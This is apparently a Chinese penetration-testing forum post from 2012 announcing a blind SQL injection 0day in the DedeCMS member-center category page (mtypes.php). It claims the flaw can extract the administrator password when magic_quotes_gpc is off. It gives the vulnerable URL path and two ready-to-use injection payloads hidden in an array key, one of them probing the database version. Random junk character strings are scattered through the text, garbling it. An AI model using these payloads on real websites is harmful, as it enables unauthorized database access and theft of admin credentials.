中国网络渗透测试联盟

标题: DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码 [打印本页]
作者: admin    时间: 2012-12-20 08:08
标题: DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码
需要magic_quotes_gpc = Off,所以说是鸡肋啊., \3 I6 [" x, U$ }0 k

: S9 b6 H! E- f) f# r: U! D
+ T: O8 T8 G7 P% b% w发生在数组key里的注射漏洞,有点意思.% n( U& p9 q" f. X8 k, {

1 u( l: P! t( x  D' ^: q这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下8 @" v' Q+ t* C

& `: t+ n8 [$ whttp://www.xxx.com /dede/member/mtypes.php?dopost=save& |2 y0 [! h& w2 G
% ]% v4 C/ r, C! X& y  T( y
exploit:
" @: k- J/ ?/ H. Q$ w9 o8 \mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r4 P0 C+ n4 h: z+ `# b9 y1 l( h5 m
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r5 q2 }4 f, n4 L. ]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2